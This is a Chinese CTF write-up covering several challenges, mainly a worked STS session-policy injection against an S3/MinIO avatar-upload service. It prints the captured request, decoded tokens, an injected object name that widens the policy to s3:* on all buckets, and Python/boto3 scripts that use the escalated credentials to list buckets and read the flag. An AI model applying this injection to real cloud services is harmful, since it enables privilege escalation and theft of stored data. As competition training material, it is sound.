d3model
考点:CVE-2025-1550 Keras < 3.9
Exp : https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
文章复现即可
做该题最困扰我的是无法创建适配的环境进行本地模拟!!!好好复现一次
tidu quic
考点:走私
d3invitation
考点:云安全
该题属于典型的STS题目,采取这种验证方式我们可以得到accessKey、accessKeySecret、STS Token,而我们自身的权限是Token里面的policy字段赋予的
Policy的生成,依赖于 CAM 策略语法
所谓的CAM策略语法,实际上就是一个由version、statement组成的json字符串,其中statement是我们需要给STS临时身份授权的具体策略列表,由核心元素包括委托人(principal)、操作(action)、资源(resource)、生效条件(condition)以及效力(effect)组成的json列表组合而成。
或者说,key和secret,意味着你是一座大楼的租户,而大楼开发商给你的token,意味着你在这一栋大楼里面的权限
这里介绍一个注入:STS注入
STS身份注入攻击
身份注入漏洞一般发生在云租户允许用户去自定义权限字符串(Policy)中的部分元素时存在,例如在对象存储上传时,服务端使用STS进行权限控制,但是又允许用户输入上传的后缀、目录或大小时,会存在问题
通俗来讲,如果服务器返回的token里面的policy部分内容由我们控制,就此,可以产生policy注入~
进入该题:
一个上传图像的界面,试一试抓包~
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/genSTSCreds HTTP/1.1 Host: 35.241.98.126:30198 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: http://35.241.98.126:30198/ Content-Type: application/json Content-Length: 24 Origin: http://35.241.98.126:30198 Connection: keep-alive Priority: u=0
{"object_name":"ma.png"}
|
调用这个api去获取STS临时凭证~注意一下这个请求体的内容即可
我们审计一下tools.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| function generateInvitation(user_id, avatarFile) { if (avatarFile) { object_name = avatarFile.name; genSTSCreds(object_name) .then(credsData => { return putAvatar( credsData.access_key_id, credsData.secret_access_key, credsData.session_token, object_name, avatarFile ).then(() => { navigateToInvitation( user_id, credsData.access_key_id, credsData.secret_access_key, credsData.session_token, object_name ) }) }) .catch(error => { console.error('Error generating STS credentials or uploading avatar:', error); }); } else { navigateToInvitation(user_id); } }
function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) { let url = `invitation?user_id=${encodeURIComponent(user_id)}`;
if (access_key_id) { url += `&access_key_id=${encodeURIComponent(access_key_id)}`; }
if (secret_access_key) { url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`; }
if (session_token) { url += `&session_token=${encodeURIComponent(session_token)}`; }
if (object_name) { url += `&object_name=${encodeURIComponent(object_name)}`; }
window.location.href = url; }
function genSTSCreds(object_name) { return new Promise((resolve, reject) => { const genSTSJson = { "object_name": object_name }
fetch('/api/genSTSCreds', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(genSTSJson) }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.json(); }) .then(data => { resolve(data); }) .catch(error => { reject(error); }); }); }
function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) { return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}` }
function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) { return new Promise((resolve, reject) => { const formData = new FormData(); formData.append('access_key_id', access_key_id); formData.append('secret_access_key', secret_access_key); formData.append('session_token', session_token); formData.append('object_name', object_name); formData.append('avatar', avatar);
fetch('/api/putObject', { method: 'POST', body: formData }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.json(); }) .then(data => { resolve(data); }) .catch(error => { reject(error); }); }); }
|
&object_name=${encodeURIComponent(object_name)}
它不会无缘无故放上STS之外的东西,这是提示我们存在注入?
拿到token,解一下码
1
| http://35.241.98.126:30198/api/getObject?access_key_id=87G2MLTN18KMU721MPPH&secret_access_key=fpUy7RBSupFBHWvMj4MR%2BJmjqfQ2ISqSlDKPoREg&session_token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4N0cyTUxUTjE4S01VNzIxTVBQSCIsImV4cCI6MTc0ODgzNzM3NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2YldFdWNHNW5JbDE5WFgwPSJ9.nxiF3PIf7ZrSajE9aW7cFkU_jlfX7auvM5uGeTx0UYQ_caEAvxke_T_rvTeP7KE1JHSFCZ5q0hWp2EAgXNJ_Gg&object_name=ma.png
|
一次解码之后看到(理论上有密钥可以恶意伪造JWT),sessionpolicy,再二次解码,看看具体内容{“Version”:”2012-10-17”,”Statement”:[{“Effect”:”Allow”,”Action”:[“s3:GetObject”,”s3:PutObject”],”Resource”:[“arn:aws:s3:::d3invitation/ma.png”]}]}
注意这个ma.png,是我们可以控制的地方,存在注入,简单试一下,看能不能提权
先测试了一下通过注入来扩展策略的资源(Resources)范围(这个范围只是可以在该存储桶内进行上传下载,实际权限还是不够的)(如果在action范围的话好像要加一些东西我们先简单验证一下)
{“Version”:”2012-10-17”,”Statement”:[{“Effect”:”Allow”,”Action”:[“s3:GetObject”,”s3:PutObject”],”Resource”:[“arn:aws:s3:::d3invitation*“,”arn:aws:s3:::*“]}]}
成功拿到提权的token
但是如何利用这个token去实现操作我有点犯难
目前对云的认识,我知道可以通过url访问,也可以通过命令行连接,但是两个都无头绪,只能跟着tools.js里的逻辑走?
看看其他人怎么做的
deepseek一把梭的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| import hmac import hashlib import datetime import urllib.parse import requests
ACCESS_KEY = "PTKZVLPN95ORZHJTBK0D" SECRET_KEY = "d9QeMbVCgiMUE+EJ1eHfZIZlll+f6qmoL42HQTif" SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQVEtaVkxQTjk1T1JaSEpUQkswRCIsImV4cCI6MTc0ODYyODI3MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2SWwxOUxIc2lSV1ptWldOMElqb2lRV3hzYjNjaUxDSkJZM1JwYjI0aU9sc2ljek02S2lKZExDSlNaWE52ZFhKalpTSTZXeUpoY200NllYZHpPbk16T2pvNktpSmRmVjE5In0.wgYw9JJXuiACRXaZmIh2i-GSVUSEUW1kNLkRenMPpntr4r9DasxvArw0llt1eROVuTiOFR9Z3SSI0xpDzDDlwQ" MINIO_ENDPOINT = "http://34.150.83.54:30761"
def sign(key, msg): return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()
def get_signature_key(key, date_stamp, region_name, service_name): k_date = sign(('AWS4' + key).encode('utf-8'), date_stamp) k_region = sign(k_date, region_name) k_service = sign(k_region, service_name) return sign(k_service, 'aws4_request')
def generate_aws_headers(method, path): now = datetime.datetime.utcnow() amz_date = now.strftime('%Y%m%dT%H%M%SZ') date_stamp = now.strftime('%Y%m%d') host = MINIO_ENDPOINT.split('//')[1].split('/')[0] canonical_uri = '/' + '/'.join( urllib.parse.quote(segment, safe='') for segment in path.split('/') ) canonical_querystring = "" canonical_headers = f"host:{host}\n" canonical_headers += f"x-amz-date:{amz_date}\n" canonical_headers += f"x-amz-security-token:{SESSION_TOKEN}\n" signed_headers = "host;x-amz-date;x-amz-security-token" payload_hash = hashlib.sha256(b'').hexdigest() canonical_request = ( f"{method}\n" f"{canonical_uri}\n" f"{canonical_querystring}\n" f"{canonical_headers}\n" f"{signed_headers}\n" f"{payload_hash}" ) algorithm = "AWS4-HMAC-SHA256" credential_scope = f"{date_stamp}/us-east-1/s3/aws4_request" string_to_sign = ( f"{algorithm}\n" f"{amz_date}\n" f"{credential_scope}\n" f"{hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()}" ) signing_key = get_signature_key(SECRET_KEY, date_stamp, "us-east-1", "s3") signature = hmac.new( signing_key, string_to_sign.encode('utf-8'), hashlib.sha256 ).hexdigest() authorization_header = ( f"{algorithm} Credential={ACCESS_KEY}/{credential_scope}, " f"SignedHeaders={signed_headers}, " f"Signature={signature}" ) return { 'Host': host, 'x-amz-date': amz_date, 'x-amz-security-token': SESSION_TOKEN, 'Authorization': authorization_header }
def list_all_buckets(): headers = generate_aws_headers("GET", f"/") url = f"{MINIO_ENDPOINT}/" response = requests.get(url, headers=headers)
if response.status_code == 200: print("[+] 所有存储桶列表:") print(response.text) return response.text else: print("[ERROR]") print(response.text)
if __name__ == "__main__": headers = generate_aws_headers("GET", "flag/flag") response = requests.get( f"{MINIO_ENDPOINT}/flag/flag", headers=headers ) print(response.text)
|
AI感很重,可以看看,但感觉冗杂地方比较多,还是自己分析
由于awscil连不上,决定用boto3,上面这个过于复杂
实际boto3很快
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import requests, os import boto3 import base64 import json
OSS_ENDPOINT = "http://35.220.136.70:31021" WEB_ENDPOINT = "http://35.220.136.70:32163"
def GetSTSToken(objname) -> str: r = requests.post(f"{WEB_ENDPOINT}/api/genSTSCreds", json={ "object_name": objname }) print(f"GetSTSToken: {r.status_code} {r.headers} {r.text}") if r.status_code != 200: raise Exception(f"Failed to get STS token: {r.status_code} {r.text}") return r.json()
def decodeSessionToken(token: str) -> dict: try: token1, token2, token3 = token.split(".") print(f'{base64.urlsafe_b64decode(token1 + "==")}') print(f'{base64.urlsafe_b64decode(token2 + "==")}') policy = json.loads(base64.urlsafe_b64decode(token2 + "==").decode('utf-8'))["sessionPolicy"] print(base64.urlsafe_b64decode(policy)) except Exception as e: raise ValueError(f"Failed to decode session token: {e}")
if __name__ == "__main__": creds = GetSTSToken('*"],"Action":["s3:*"],"Resource":["arn:aws:s3:::*') decodeSessionToken(creds['session_token'])
```python s3 = boto3.client( 's3', aws_secret_access_key=creds['secret_access_key'], aws_access_key_id=creds['access_key_id'], aws_session_token=creds['session_token'], endpoint_url=OSS_ENDPOINT, )
buckets = s3.list_buckets()['Buckets'] print(buckets)
objects = s3.list_objects_v2( Bucket='flag', )['Contents'] print(objects)
flag = s3.get_object( Bucket='flag', Key='/flag' ) print(flag['Body'].read()) ```
|
实际关键在于
1 2 3 4 5 6 7 8 9
| creds = GetSTSToken('*"],"Action":["s3:*"],"Resource":["arn:aws:s3:::*')
s3 = boto3.client( 's3', aws_secret_access_key=creds['secret_access_key'], aws_access_key_id=creds['access_key_id'], aws_session_token=creds['session_token'], endpoint_url=OSS_ENDPOINT, )
|
实现了权限提升后的连接
1 2 3 4 5 6 7 8 9 10
| s3.list_buckets()['Buckets']
s3.list_objects_v2( Bucket='flag', )['Contents']
s3.get_object( Bucket='flag', Key='/flag' )
|
拿到flag
d3ctf{l_THInk_WE-H4vE_3nCOUnt3rED_PoL1Cy-INJEctiOn?!2b}
1 2 3 4 5
| 实际操作注入内容发现,关键实现闭合之后,"]自己可以控制Action与Resource字段 * arn:aws:s3:::* 这样可以实现最高权限,执行任意方法对所有存储桶 是“覆盖”不会并存
|
jtar
考点:java